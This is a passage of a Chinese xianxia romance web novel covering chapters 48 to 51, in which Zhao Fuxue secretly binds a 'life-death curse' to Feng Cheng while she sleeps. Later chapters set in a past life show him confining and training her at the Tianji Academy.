这冰冷水温并未将二人攀升的体温阻止分毫,封澄松了嘴,双手攀在赵负雪的肩上,居高临下地看着她,轻轻歪了歪头。 赵负雪的耐心很好,他的身体已经热得要命,偏生他看向封澄的目光依旧冷静。 月色铺在他谪仙似的面容上,封澄坐在他身上,静静地沉默了片刻,赵负雪隔着朦胧的白布与她对视,片刻,缓了口气,忍耐道:“我是谁?” 这一句话却好像骤然点醒了封澄一般,赵负雪感觉到她的手轻轻地落在了他的双目之上,然后毫不犹豫地,抓下了蒙在他双目上的白布。 赵负雪终于能够与封澄对视。 今夜的封澄毫无疑问是不对劲的,赵负雪借着月光,看了她那双幽深双目中的竖瞳,她危险地眯了眯眼睛,双手将他面上的白布轻柔向下拉动。 缱绻无比,如同情人之间的呢喃。 赵负雪定定地看着她,道:“你还认得我吗?” 封澄双手捧着他的脸,终于给了他今夜第一个回应。 “嗯。” 能说话了,看来是忽然清醒了,赵负雪松了一口气,心底却又说不清道不明地有些失落,他下意识地扶了扶浴池,强行逼自己从热意中解脱出来:“既然醒了,就不要……” 封澄猝然封住了他的话。 她捧着赵负雪的脸,压在他身上,高热的唇压着他的,碾上去,紧紧贴着,不待赵负雪反应,她便微微松开了唇。 这动作说不上轻柔,说不上美妙,甚至说是有些野蛮和鲁莽的。 赵负雪傻在了原地。 他下意识地摸了摸自己的唇,上面的湿意毫无疑问地昭示着方才发生的一切。 许是不满意他的愕然,封澄盯着他看了看,又吻了上去。 这个吻的触觉确凿无疑,她的唇高热又柔软,贴上来时扑来水气与封澄身上的香气,封澄对吻的理解似乎就只停在了这一步,她凑上来贴了贴,磨了磨,便失去了兴趣,又想要离开。 陡然间,赵负雪扣住了她的后脑。 他的吻带着凶横的侵略意味,仿佛撬开了一只柔软的贝一样敲开了封澄的齿关,封澄呜呜两声,挣扎起来,赵负雪却管不得这么多了,他追着柔软的贝肉,哪怕封澄几度捶打,他仍不放开。 不会接吻的人不止她一个,赵负雪想,可是情至关头,清醒些的人,总是比糊涂的人更容易沉沦。 他吻得凶狠又蛮横,仿佛要就此地老天荒,终于封澄脸酸,忍不住动了牙齿,这利齿划穿皮肉轻而易举,更何况是柔软的唇舌,二人的吻中霎时掺杂了血腥之气, 舌尖的痛觉终于将赵负雪堪堪拉回了神,他闭着眼睛,不敢去想封澄是清醒的还是糊涂的。 封澄明明可以一上来便咬,何必等到此时。 她在纵容。 刹那山崩。 想到这个可能的赵负雪只觉得一重一重的花火竞相放在了自己的面前,他松开封澄,又抬起头,轻轻地吻了吻她——温和的轻贴,并未有半分方才的凶横。 是忐忑的试探,亦或者反客为主的邀请。 封澄轻轻喘了口气,她定定地看着他,片刻,攀上他的肩,毫不犹豫地回吻了过来。 赵负雪猛地睁大了眼睛,瞳孔剧烈紧缩,他不敢置信,直到封澄拙劣地模仿着他的模样,开始尝试撬开他的齿关时,赵负雪才回过神来,他放任着封澄像只好学的小兽一般肆意探索,直到她吻够了,退出去,才轻轻按着她的后颈,道:“我们出去。” 浴池不够大,冷水也伤身,赵负雪并不打算在今夜做些什么——今夜太仓促太唐突,且封澄还是半清醒半糊涂的。 到这里为止,便可。 封澄乖乖地蜷在了他的怀中,任他抱了出去,她的衣物与方才分别时无二——想必是一回客栈,便毫不犹豫地跳进了浴池中。 她好像困了,蜷在他怀中打了个哈欠,赵负雪哑然失笑,轻轻地吻了吻封澄的额头。 今夜仿佛是一场幻梦,他心底被巨大的喜悦所充盈——如果世间所有的幻梦都是这般模样,他宁愿永不清醒。 没有什么事情,是与心悦之人心意相通更为重要了。赵负雪这般想着, 回赵府之后,就筹备订婚的事情。 赵负雪为封澄除去湿漉漉的外衣,然后起身出去,片刻,取回两套干净整洁的衣物。 封澄中衣也是湿的,见赵负雪动作,她勉强睁开一只困倦的眼睛,迷惑道:“……做什么?” 赵负雪已换了自己的衣物,他耐心道:“衣服湿着,不能这么睡。” 封澄有些茫然地看着他,这个表情令赵负雪有些失笑,他轻轻地凑上前去,啄吻:“你若这般睡,明日晨起要头疼了。” 屋中昏暗,封澄眨了眨眼睛,似乎不太舒服。 他起身去五斗柜前取了烛来,点上照明。 她坐在榻上,眯着眼睛看赵负雪,烛火下,他的胸口血痕沾了水,愈发清晰起来,封澄抬起手摸了摸,忽然道:“为什么弄伤自己?” 这句话没头没脑,赵负雪还沉浸在方才的狂喜里,他心中只觉得是封澄又看到了胸口伤痕,抵死不认道:“……兴许是用剑的时候撕裂了……没有故意弄伤。” 谁料封澄听到这句话,却狠狠地摇了摇头,好似脑子更昏沉了。 见封澄纠结地思考了起来,赵负雪也笑了,他轻车熟路地取出封澄带在身上的药,点起了药炉:“即便不对也留到明天去想吧,先吃药。” 那边传来细细碎碎的声音,赵负雪背对着封澄,心知她大抵是在换衣服。 片刻,药好了,赵负雪将药端出来,送到了封澄的床前,果然,她已换下了湿漉漉的中衣,穿上了干净柔软的衣服。 赵负雪一见她,心中便胀得发酸,他轻轻靠过去,二人呼吸交缠,片刻,他又轻轻地吻了过去。 封澄睁大了眼睛,却未推开他。 良久,赵负雪松开她。 封澄皱了皱眉,一勺一勺地将药喝下去。 说来也怪,封澄在他面前从未这般老实过。 在古安时,次次喂药都要搞得鸡飞狗跳。而今日却一句也不说,一句也不问,只要他端来,她便毫不犹豫地喝。 封澄喝完药,将药碗放在了榻边,赵负雪定定地看着她,眉眼含笑,只觉得平生从未这般心软过。 “苦不苦,”他的手心藏着蜜饯,“猜猜在哪只手里。” 封澄看向他,瞳孔还竖着,她迟钝地眨了眨眼睛。 “师尊,”她慢慢道,“我早就不是小孩子了。” 此言一出,四周霎时一片寂静。 赵负雪浑身的血霎时变得冰凉彻骨,他手指怔然一松,蜜饯霎时掉在地上,咕噜噜滚远了。 “……我是谁? ” 封澄不答。 赵负雪强撑镇定地俯身,又急又狠吻上了她,封澄唔了一声,乖乖地张开嘴。 片刻,他松开封澄,唇角有血珠。 “封澄,”他道:“我是谁?” 封澄喘了口气,说出的话却让他如坠冰窟。 “师尊。” 赵负雪清楚地听到了心头的碎裂之声,他站起身来,忽然感觉魂魄似乎都不在体内了。 她认错人了。 第49章 第49章舌尖血 大起大落的冲击令赵负雪的头一次生出了落荒而逃的冲动。 温不戒的药十分管用,封澄喝下药后,困倦地蜷缩在床上,没心没肺地睡着了。 “师尊。”赵负雪的目光死死地锁在了封澄的身上,他念着这两个字眼,头一次恨不得自己不能把它们吞下去嚼了。 他如挥之不去的阴影一般笼罩在赵负雪的头上,赵负雪甚至觉得自己大概开始痛恨这两个字了。= 赵负雪感觉自己心一片一片地碎成了齑粉,一碰就四处漏风。 往事种种如刀子削到赵负雪的心头上,他忽然想明白了封澄若有若无的熟稔与亲近,以及打死也要留在他身边的执拗。 可她却像是透过他,去看另一个人。 “……我和他像吗。” 他的手不知不觉地绕到了封澄的发上,她的头发很软,绕指如流水,自言自语道,“大概是像的。” 一定是像得能以假乱真了,不然怎么会留在他身边。 室内一灯如豆,幽幽颤颤,赵负雪伏在封澄榻边,半响,突然咬着牙笑了。 “不能抵赖了。”他心道,“管你心里是什么人,总归今夜意乱情迷的对象,是我。” *** 夜里梆子敲了不止多少回,赵年将最后一笔账报上后,已是寅时。 周寻芳点了点头,道:“明日将账本备好,再将齐遥口供整理一份,一齐送进宫里去——临走时将烛火熄了。” 她已是几百岁的修士了,随着年岁的增长,她几乎不需要睡眠了。 可今夜,周寻芳却莫名想睡一觉。 兴许是那年轻莽撞的丫头撞得她有些头晕。 赵年有几分讶异,她并未多言,只是起身行礼道:“是,徒儿先行告退。” 周寻芳点了点头,正要合上眼睛,却听外面房门传来轻轻几声叩门,紧接着便是赵负雪的声音:“祖母,孙儿有要事求见。” 他平素鲜少有什么需要求见周寻芳的要事,更何况是深更半夜,周寻芳睁开眼,与赵年交换了一个视线,皆在对方目中读出了几分愕然。 周寻芳道:“进来。” 赵负雪推门而入,行至内室,站在了周寻芳的面前。 周寻芳皱皱眉打量他,只见他虽是看起来整齐,头发却是有些湿意,身上的衣服竟也不是赵家的东西——不光周寻芳了,连赵年也皱起了眉。 赵年道:“少家主,这深更半夜的,你有什么要事?” 赵负雪这才看到一旁站着的赵年,他微微一怔,随即行了个礼道:“院长。” 周寻芳摇摇头:“可是齐遥那边出了问题?” 赵负雪笑了笑,摇摇头:“并非齐遥出事。” 想来也是,区区一个血修,哪里会让赵负雪深夜造访。 于是周寻芳倒好奇了起来,赵年忙取来软枕扶她半坐起来:“说。” 赵负雪道:“我所前来,是为了要生死咒。” 听闻此话,周寻芳微微地眯了眯眼,哦了一声:“阿雪,我不问你今夜要生死咒做何用,我只与你说一句,按理来说,我赵家此咒,是要在大婚之仪上,三拜后而结的。” 赵负雪道:“是,所以我此次来,不是要整个咒……只要一半。” 凡咒之施加,必有媒介,赵家生死咒也不例外。 此咒为一条红线,一对指环。 红线生心头,指环携手。 赵负雪所言一半,倒也容易理解,只要成咒之时,一方不戴指环,这“指环携手”便是不成的。 来生转世,卷入前缘、独自沦亡者,唯成咒之时,痴心错付之人。 堪称自投罗网。 周寻芳竟然笑了:“……半边生死咒,从赵家建族以来,不过三人动用,无一善终,皆为孽缘,阿雪,你疯了。” 赵负雪的神色有些晦暗不明:“求祖母允我。” 周寻芳沉吟片刻:“阿雪,你从前从未求过我什么,若你开口,我无法不允你。” 她转过头,对赵年道:“去家庙中,把咒取来。” 赵年怔在原地,周寻芳瞥了她一眼,道:“去。” 从赵年个人的理性和经验来看,周寻芳和赵负雪今夜都疯了,而出于她对周寻芳全然的信任,她确认今夜疯了的人只有赵负雪,她一言难尽地看了一眼这位年轻的少家主,转身便出了房门,向家庙走去。 屋内寂静无声,祖孙二人一人半躺,一人半跪,皆默默不语。 “那小丫头?”周寻芳突然道。 “是。” “为何不去求娶?” “她心有旁人。” 周寻芳微微睁大了眼睛,她重新将赵负雪审视了个遍,赵负雪岿然不动,任她审视。 赵负雪曾是她最为骄傲,也最为担忧的后辈。 他于修道一途,堪称不世出之天才,为人守德正道,风骨天成,她从前只担忧过赵负雪性子冷清,怕是将独守孤寂,却绝未担忧过赵负雪的道德问题。 今夜,周寻芳不由得怀疑起了对赵负雪的道德教育。 “她心有旁人,你还死缠烂打,生生将自己捆上?” “那人绝非良配。” 周寻芳突然便头疼了:“你见过?” 赵负雪垂眸,片刻,道:“没,但绝非良配。” 周寻芳:“……” 她一时之间不知道说什么好,思来想去,只好叹了口气。 正在此时,赵年敲了敲屋门,随即取了一只锦盒进来,她谨慎地端着锦盒,面向周寻芳道:“老尊者,东西取来了。” 周寻芳打开锦盒,正要取出其中一枚指环,想了想,却又放了回去。 “生死咒,便在这里了。”她将锦盒递给赵负雪。 赵负雪抬手接过锦盒,微微一怔:“祖母……” 周寻芳摆摆手:“生死咒,从没有半副半副取出来的道理,你自留好另一枚指环,若她将来回心转意,尚可转圜余地。” 赵负雪将锦盒收入怀中,肃然向周寻芳行了个大礼,转身,向夜空中去。 见赵负雪远去,赵年忧心忡忡道:“老尊者,少家主这咒下去……” 周寻芳摇摇头,笑了:“不妨事。” 赵年疑惑了:“徒儿不解,还请师尊解惑。” 此时的天已隐隐明了,想要打盹也是不能够了,周寻芳索性从榻上起身,慢慢地开始穿戴起来:“生死咒两物,分别为何?” 赵年毫不犹豫答道:“心头红线,指上契环。” “这便是了,”周寻芳笑了,“那丫头心有所属,心头红线便牵不上,即便是拿了指环又如何?心头红线不认二心之人,二人没有情分,哪怕是十指都套了契环,咒也成不了。” 想到这里,她倒是有些怅然了:“红线有灵,寻常恩爱一生的夫妻,牵不上的也并不在少数——世间将就之人不少,若未存生生世世相依的不渝情谊,赵家生死咒又岂自作主张地将人绑在一起?” 赵年恍然大悟,她点了点头,道:“老尊者果然高明,如此一来,少家主便知难而退了。” 周寻芳穿戴毕,道:“……今夜本想小睡,不料这一个两个的都不让人清净,走吧,去茶室静一静,姜家人便该到了。” *** 赵负雪又翻进了来顺客栈中。 夜间在此的老板已趁机回去补个黎明觉了,此时留在外面的是直打哈欠的几个年轻伙计,他见着赵负雪,热情道:“公子又来候着啊?还是像往常那样,糖包,甜汤,再加几碟小菜?” 赵负雪道:“今日不必,她不在这儿用膳。” 说着,他便头也不回地向着封澄的房门走去。 伙计看 着赵负雪的背影,惊得上去便要拦,夜里值班的另一伙计上去便抓住他:“封姑娘早给这公子录了名牌的,你拦什么?” 屋内寂静,唯有封澄睡得酣然,赵负雪背身将门合上,他定定地看着封澄,从怀中取出了锦盒。 年幼时观礼,他知晓这红线的用法,赵负雪走向封澄,坐在她的榻边。 他一手执锦盒,一手轻轻地抚上她的脸颊。 虽脸上有些热的,但已不像方才高温,温不戒的药倒是生效,赵负雪的手爬过她的脸颊,随即轻柔地落在了她的双眼上。 她的长睫垂着,似乎被他摸得有些痒了,封澄唔了一声,有些恼地把脸埋进软枕中。 像个毛茸茸的小动物,赵负雪哑然失笑。 封澄睡得很沉,赵负雪将她右手托起,小心翼翼地取出红线。 红线的红色莹润,好似上好的玉石,赵负雪细心又小心,轻柔地用红线在她腕间绕了三圈。 它乖乖地呆在了封澄的手腕。 赵负雪将另一端系到自己的手腕上时,随即轻轻地捏开封澄手指,缱绻地十指相扣。 随即俯身,低头,压上了她温热的唇。 赵负雪轻轻地咬下去,犬齿咬破了她的舌尖,从她舌尖吮了一口温热的舌尖血。 睡梦中的封澄似乎觉得有些痛,她唔了一声,可系着红线的手微微一动,好似察觉到舒适的温度一样,不由分说地反扣住了赵负雪的手。 红线痴缠,缱绻无比。 他眸光微动。 “不用这么急,”他心想,“从今天往后,我就是你的人了。” 一圈,两圈,三圈红线落腕,二人的腕间浮起淡淡红光,这红光颜色如玉,映得二人交缠的手也微微泛红。 赵负雪静静地看着这条红线。 砰然一声,红线消散。 他微微一怔,直起了身。 红线呢? 室内寂静无声,无一光源,原本荧荧的红线也消失不见。 他有些迷惑,忽然间,心口传来温泉似的热源。 赵负雪垂眸,手轻轻地抚在了胸口,随即抬眼,看向封澄的胸口。 她的胸口浮现一根红线,另一端牵在他的心头。 第50章 第50章指环(前世 次日天光大好,封澄头痛欲裂、昏昏沉沉地睁开眼睛,只觉得一根钉锤在脑中来回搅动。 封澄正要坐起身,不料手却是一滞,封澄心头一跳,僵硬且迟缓地转过头去。 目光停在二人相扣的手上。 再一抬头,正对上赵负雪静静瞧着她的俊脸。 刹那间封澄魂飞魄散,连忙甩道:“……赵公子,你怎么会在这儿?” 话一出口,却觉不对,封澄有些犹疑地吮了吮自己的舌尖,似乎感觉一阵咸腥的肿痛。 不料赵负雪见她甩手,脸上出现了一瞬堪称扭曲的表情。 封澄看见他磨了磨牙,随即咬牙切齿地逼近过来:“……我怎么在这儿?!” 封澄向后挪了挪,小心翼翼地觑着他:“是,是啊?” 赵负雪闭了闭眼,随即猛地起身,动作幅度之大,险些让封澄的鼻子被吹飞,她看着赵负雪表情扭曲地在原地转了转,似想拂袖而去,几番咬牙才回过头,恨恨道。 “混蛋……!” 说完这句话,赵负雪便风一样摔门而去了,独留封澄在榻上一脸茫然,她指指自己:“……混蛋?” 她干什么了? 不料还没等封澄琢磨出个所以然来,房门又被砰地一声推开了,赵负雪黑着脸道:“……赵家已为你收拾出了客房,是老尊者的意思,不许住客栈。” 这混蛋亲了人不认,不给名分,不给反应,一睁眼便甩开了他的手,赵负雪做了一夜的心理建设,勉强建设了点儿当人影子的觉悟,可昨夜还唇齿交缠,今早上醒来便被如此泾渭分明地对待,这种极大的差别还是令他有点崩溃。 封澄听了却愣了愣,她起身来,道:“可我要回古安几日。” 赵负雪咚咚乱跳的心脏渐渐地平静,渐渐地缓慢,渐渐地冰凉。 他回过身来,定定地看着她,半晌,耐着心道:“古安事情已定,回去做什么?” 心中只想着他胸口的见素伤痕,沉吟片刻,封澄抬头道:“不太方便,这些事情等我日后再向你解释。” 同一时空内出现两个赵负雪这种猜测实在过于诡异,其中一个把另一个捅了又是诡异中的诡异,而且—— 封澄看了看赵负雪。 如果就连她都能从一道伤痕中发觉出那男鬼身份的蛛丝马迹,那么正面与他交手的赵负雪,当真会一无所觉吗? “去多久?” “归期不定。” 赵负雪定定地看着她,忽然便笑了。 “随你。”他转身便离去。 忽然地,封澄却唤住他。 “指环很好看,”她道,“之前从未见你戴过。” 赵负雪背对着她,咬了咬牙,强行吞下了喉头的难言的酸涩之感,拂袖而去。 他一走,身上的冷香气也渐渐地消散了,偌大的屋子霎时有些空荡,封澄仰面把自己放倒在榻上,静了片刻,疲倦地闭上了眼睛。 她忽然记起,这枚指环,在之后的赵负雪、她的师尊手上,也有一枚。 *** 封澄被关的第一日,灿阳高照,她百无聊赖地瘫在鸣霄室,片刻,无聊地大叫起来。 “有没有人,有没有人!有没有人给我松松绑!” 当然是不会任何人回应她的,鸣霄室是整个天机院中最为僻静的地方,平常修士就算是赶着上课,也会小心翼翼地绕开这鸣霄室。 这院子安静得要命,除了院中一棵格外茂盛的桃树有些细细碎碎的声响,什么声音都没有。 封澄手脚俱缚,蚕蛹一样在地上滚了滚,抬起眼来,漫无目的地想:“这臭拐子要把我关到什么时候?” 就这么想着时,忽然门动了,随即大门敞开,封澄像个蚕蛹一样摊在地上,费劲地仰起头,眯着眼打量着背光而入的人。 那人坐着轮椅,手上一枚指环在日光下反射出有些刺目的光,墨发未束,披在身后,他容颜如玉,却冰冷苍白,居高临下地看着扭成一团的封澄,一时间,空气中弥漫着极为诡异的沉默。 他垂眸看了看封澄:“为何在这。” 封澄看着这拐子,气不打一处来,一个鲤鱼打挺蹦起来:“你还好意思说,难道不是你派人把我捆在这里的!” 赵负雪:“我的意思是,你本该在内室。” 从内室到门口,是一段相当长的距离,赵负雪垂眸看去,只见内室大门敞开,内里一片狼藉,光凭肉眼可见的,便是稀里哗啦一地瓷器碎片,外面更甚,连书架上的典籍都滚落在地上。 好端端的鸣霄室,硬是一片狼藉。 “为什么要关我,”封澄道,“我不是拜师了吗?为何还要关我。” 赵负雪淡淡道:“若是想死,尽管出去。” 封澄拜入他赵负雪门下后,姜家死士绝不敢在明面上对她动手,可世上从不缺阴损手段,姜家身为天子近臣,见不得光的手段只会更多,且无孔不入。 阴一个几乎没有灵力的小丫头,不比碾一只蚂蚁困难些。 即便不敢杀,废她一只胳膊腿、断几条经脉,也够毁了这鲁莽傻子。 不怕一万,只怕万一。 他静静地审视着捆成蚕蛹的封澄,道:“从今日起,引气入 体。未经许可,不可出门。” 封澄登时炸了毛:“你还真是拐子啊!不经你允许出不了门,你好大威风,拿嘴皮子绑我?!” 她只恨自己怎么就喝多了马奶酒昏了头,怎么就跟着这个看起来是好人的美人儿跑到了洛京这种诡异地方,这下可好,不光被关在冷冰冰的屋子里,还被按着头开始修炼了! 那教书老头儿说过什么来者……色令智昏? 诚不欺我。 她阿翁阿嬷都管不着她修炼! 长煌大原认拳头,认刀子,若是和那群傻修士一样慢腾腾地引气念阵,符还没丢出去就被人抹脖子了。 “不练,”封澄不耐烦道,“戏演完了,玉佩还你,放我走——你收不着徒弟了吗?还得千里迢迢去拐一个。” 说着,她便双脚着地,一蹦一蹦地要出去,赵负雪静静地看着她往外蹦,在她即将蹦出门时,一挥手。 门贴着封澄的鼻子尖,啪地关上了。 封澄:“……” 她双目瞪得溜圆,勃然大怒:“你什么人啊!” 赵负雪却平静道:“为何不修道。” 封澄挑挑眉,往门上一倚:“这还用说?你们修道念咒的打不过我呗……何况我又不要什么长生,活久了多累。” 赵负雪静静地看着她。 平心而论,她的话说得似乎不错。 与她同龄的姜徵,已是世间少有之修行奇才,刀法师从名家,灵器也是国手所铸,不说旁人,就说天机院这群天之骄子,对上姜徵,也毫无胜算。 可在几乎没有灵力的封澄面前,她几个来回,便被锁了命门。 姜家之逼迫,一是因封澄险些杀了姜徵,二则是封澄其人,来路不明,立场不明,却如横空出世之利刃,猝不及防便杀在了暗流涌动的洛京上。 封澄见他沉默,翘了翘嘴角,好言相劝道:“强扭的瓜不甜,你我虽没有师徒的缘分,但是可以交个朋友……往后你去长煌大原,我请你喝酒。” 赵负雪垂眸,片刻,扬手挥开了门,随即封澄一身绳索落地,她心道这厮总算能听懂人话了,不料赵负雪忽然道:“试试。” 封澄:“……?” 赵负雪抚着手上指环,平静道:“修道之人,最忌自大,动手。” 封澄当即睁大了眼,她指指自己,又指指赵负雪,难以置信道:“你要和我打?” 赵负雪身下可还有存在感异常鲜明的轮椅,封澄当即狠狠摇头,连连拒绝道:“不要,这不是欺负人吗,这种事我平生都没做过。” 封澄心中绝不服气,昨日被这人所擒,是因她毫无防备,且当时事态紧急。否则一对一正面打上,鹿死谁手还未可知。 赵负雪道:“走过三招,放你出去。” 这人还没打算放她走! 封澄咬牙笑了,她挑了挑眉,捏得指节咔咔响:“行,这可是你自找的——我推你出去,还是你自己摇出去?” 赵负雪看着她。 片刻,他面无表情地从轮椅上站了起来,走到了院中。 封澄的动作僵在半空:“……” 你一个好端端的人坐什么轮椅! 所幸赵负雪道:“身体不便,速战速决,见谅。” 好一个速战速决,三招已是看不起她,速战速决更是火上浇油,封澄连犹豫都不犹豫,毫不犹豫地便疾掠过去,一记扫堂腿便直攻赵负雪下盘。 习武之人,最忌下盘不稳,封澄从不是什么打起架来还翩翩君子的好人,猛踹瘸子那条好腿是所有人都知道的道理。 更何况这人还没条好腿。 见封澄动作,赵负雪一时有些无言。 不知该说她行事果断好,还是说她勇往直前好。 封澄的扫堂腿还未落实,却见赵负雪鬼魅似的闪身,猛地来到了她的身后,抬手便向她后心而去,封澄背后却仿佛长了眼睛,好似早就预料一样避开这一击,赵负雪挑了挑眉,封澄大笑道:“一招了!” 紧接着,封澄便抬脚,向着赵负雪两腿中而踹去。 打人要打眼,掏人要掏裆,封澄深谙街头斗殴的真谛,果然,赵负雪脸色都变了,他极快抓住封澄闪电似踹来的脚,从来都不见起伏的声音中忽然便添了几分急促:“……你跟谁学的打架!” 封澄一笑,旋身踢去,挣脱了赵负雪的桎梏,她落于稍远处,歪头笑道:“人教人教不会,事教人一次就会——经验呗。” 她到底是什么流氓。 赵负雪头一次怀疑起了周寻芳的临终之言。 反咒之解,仍需系铃人。 与此人结生死咒,还被折腾到用了反咒的程度——他当年怎么想的? 连天机师大能都束手无措的反咒,当真能被这毫无灵力的流氓破开吗?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 第51章打服为止(前世 第二招不成,封澄忽然蹲下,赵负雪这才看到,她已退到了院中桃树边。 养护这桃树的花匠想必是十分细心的,上面半片落叶也没有,泥土上盖着一层干净的新沙。 刹那间,赵负雪福至心灵地意识到封澄第三招是什么了。 封澄手中早握了一把沙,飞也似贴近赵负雪,抬手一把扬过去,随即毫不犹豫,掉头就跑。 开玩笑,谁会和他没完没了地打下去?放她出来了还想等她规规矩矩地和他过招?想得美。 扫堂腿,撩阴脚,扬沙手。 赵负雪额上隐隐有青筋爆出,他的心中有分外陌生的情绪从空茫死水般的心中破土而出。 在许久之后,他才会意识到,这分外陌生的情绪原来名为无语。 眼看着象征自由的院墙近在眼前,封澄大喜过望,谁料前脚还未触到院墙片瓦,后颈上却传来一道巨大力道,她两眼一黑,随即被这诡异之力捏起,啪地摔在了庭院中。 这一摔摔得她眼冒金星,少说肋骨断了两根,封澄呲牙咧嘴地趴在地上,咬牙切齿:“……再来!” 赵负雪的发丝也未乱分毫,他居高临下地走到打着滚的封澄面前,道:“不必逞强。” 封澄又要乱叫,赵负雪却静静地擒住她手腕,登时封澄便被呲牙咧嘴地拉开了。 她仰面朝天,不住挣扎。赵负雪低头摸了摸她肋下,皱皱眉道:“肋骨断了。” 封澄当即就想骂人了。 赵负雪目光平静,好像打断封澄肋骨的人不是他一样,他将手抬起,捻了一只鸟儿,那鸟儿从他指尖飞掠而走,封澄登时眼睛溜圆,连哀嚎着叫痛也顾不上了。 赵负雪道:“医好,明日再打,打服为止。” 封澄:“……” 封澄身心俱疲,一点儿也不想和修士打架了,她向后一仰:“我问一句,为何非和我过不去?我没钱没权,即便你把我绑走,也只能去长煌大原换一袋沙子回来,何苦?” 赵负雪垂眸看着她,片刻,收回了手。 “你要什么,”他道,“我都给你。” 这句堪比放屁,封澄气道:“我是这个意思吗?我要你放我出去,你能给吗?” 赵负雪敛眸,站起身来,衣不染尘。 “撑过三招,再议。” 封澄恨不得咬死他。 这鸟儿飞出去片刻,便有人敲敲院门,声音中带着些轻佻的笑意:“赵师兄,好久不见?” 封澄翘着脖颈去看,只见来者穿一身青衣,腰间束着一只长笛,看着一副君子端方的装束,面上却半只骇人鬼面——这半只鬼面也未全然盖住面上淡红的烧伤痕迹。封澄很注意地看着她,发觉他露在外面的皮肤极为苍白,几乎苍白出了妖气。 封澄看着他面上瘢痕,片刻,移开了视线,心想:“即便是修士,也会有瘢痕吗?” 赵负雪冷冷道:“断了肋骨,来。” 那人懒懒散散走来,唇角含笑,依稀是副风流的模样:“师兄这地方千百年也没人来一趟,怎么招了只如此扑棱的麻雀?你前几日放了我鸽子,去了长煌……” 医修含笑的眼睛扫过地上封澄,话却戛然止住 了。 “怎么?”赵负雪察觉到这医修的异样。 不知是不是封澄的错觉,她似乎觉得这医修的脸更白了。 半晌,他才笑道:“你从哪儿找过这一个人来?吓死我了。” 赵负雪道:“温不戒,正事。” 不知为何,封澄对这位一丘之貉的第一印象还不错。 温不戒笑了笑,随即半蹲下身来,不知灌了什么灵力,封澄登时觉得肋下不痛了,她一能站起来,当即三下五除二攀上桃树,火速离赵负雪远远的。 温不戒站起身来,瞄了一眼封澄,随即深深地看向赵负雪,确凿无疑道:“你想解反咒。” 赵负雪向堂中走去,淡淡道:“你知道——此咒施行,本非我愿。” 温不戒斟酌道:“此人只是形貌相似,可年龄对不上,修为对不上,性情也相差甚远,更何况她早已……赵负雪,若当日老尊者未施下这个反咒,你此时已不知成了什么疯魔模样……难道你非要再撞这堵南墙,揭这道旧伤不可?” 赵负雪站住了。 他轻轻笑了:“原来如此。” 年龄,修为,性情都对不上,这才对了。 “她大概是变得年幼了许多,理所当然地忘却了前尘旧事。” “——不过这样刚好,我忘却了,她也不该记得,如此才算公平。” 温不戒哑了,半晌,他以看疯子的眼神看着赵负雪。 “你终于疯了。” 赵负雪抬起手来,躲在桃树上的封澄当即被他一记灵力抓来,他拎着封澄,白衣胜雪,依旧是那副谪仙降世的模样。 他并未回头。 “我不愿忘怀,”他的声音平静,“也不甘糊涂。” “我与她,都不该糊涂。” 说着,他便拎着封澄进了内室,徒留温不戒咬牙,一身涵养皆无,勃然大怒道:“你们赵家的反咒假的吧!什么断情绝爱七情皆无,全是假的吧!” 回答他的是一树簌簌的风声。 *** 鸡飞狗跳闹了一日后,封澄还是叫天天不应叫地地不灵地摊在了鸣霄室中。 赵负雪的鸣霄室颇为宽敞,别说住他一个人了,即便是再住上七个八个人,也是宽敞得很的,封澄在赵负雪的侧屋躺着,翘着二郎腿,咬了一口新鲜通红的果子——这果子咬起来灵气蕴然,想必是什么金贵东西。 她狠狠地吃果子,大有把赵负雪吃穷之心:“这仙人不听人话,根本没法沟通,打又打不过,理又没法说——真是岂有此理。” 这般想着,她忍不住在宽阔的榻上滚了滚,一骨碌翻起来道:“硬的不行,得来软的,万一他吃软不吃硬呢。” 她的余光瞥到了桌上果盘中,上面果子垒得整齐,看起来通红晶莹,格外喜人。 封澄捏了捏脸,强行扯出了一把笑脸,随即薅过果盘,顶着一脸如花的笑意推开了房门。 屋中冷清,毫无人气,即便是夜间也未点灯,若非她眼睛好使,险些出门便摔了,封澄走了几步,便忍不住打了个寒战,心中只奇道:“此时还是穿薄衫的时候,怎么这仙人洞府冻得像数九寒冬?” 她顺着游廊而向前走去,循着记忆走向鸣霄室的主屋,谁知还未走到主屋,便被越发骇人的寒气冻得牙齿硌硌作响,待封澄推开主屋的门,她几乎被当场冻晕了过去。 “好,好冷,”封澄心想,“这若是冻个野鸡野猪进去,十天半个月拿出来都能吃,这么冷的地方,当真能住人吗?” 她在门口捏着嗓子,一边抖一边哆嗦:“仙,仙人,您,您,睡了吗?” 屋内并没有人任何人的回应,封澄顺着屋子走,终于走到一处寒意最盛的地方。 她抬眼一看,只见门扉以轻纱笼罩,屋内或有一两声水声,泉中一个影影绰绰一个人,背对着她,寂然无声。 “好一个穷奢极欲的仙人,”封澄大为咂舌,“屋子里竟挖了一个泉眼出来。” 即便是生于长煌大原那等未经教化之地,封澄还是多少有些礼义廉耻的,她知晓今夜似乎不是拍马屁演笑脸的时候了,于是小心翼翼地将果盘放到了门口。 这仙人今日被她扬了一脸沙,定然是要沐浴的,她一时心急,竟然忘了此事。 正当她小心退出去时,忽然听闻温泉内一道冷声:“何人造次。” 封澄的后颈传来熟悉的力道,她心底大骂一声,抬手便紧紧抓住能抓的一切,不料手忙脚乱下,竟然只抓住了放在门口的果盘,登时一阵水声,她狼狈地栽进水里,险些被淹死。 赵负雪半合眼睛,似乎并不觉得意外:“果然是你。” 顿了顿,他道:“你来做什么?” 赵负雪并未除去衣物,封澄近了才看出来,他只闲坐在泉中一石台上,身旁泉水涌上去,成冰,再汹涌退下,化作涓涓水流。 她上本身浸在一片冰冷里,脚底热泉却滚滚而上,几乎烫得能灼伤人。 什么怪水,上面冷,下面热,封澄暗中嘀咕。 她尴尬地笑了笑,在水里掏掏,片刻,掏了一只鲜红的果子出来:“我,我这不看你没睡,来给你送果子嘛。” 赵负雪的目光静在通红的果子上,片刻,移开,宁静道:“不必。” 封澄哦了一声,收回果子,游了两步,艰难地爬到岸上,瑟瑟发抖:“你若是冷,不如在屋子里点几个大炭盆,然后风风火火地烧起来,水中吹风,哪里比得上围炉烤果……” 越说越离谱,赵负雪静静地看着她,夜水粼粼,映得他越发容颜如玉,如妖似仙。 这水生于至阳至烈深渊,寻常修士连碰也碰不得,一触便成焦炭。 炭盆之于此水,如同萤火遇骄阳。 赵负雪静静道:“围炉烤果,是什么。” 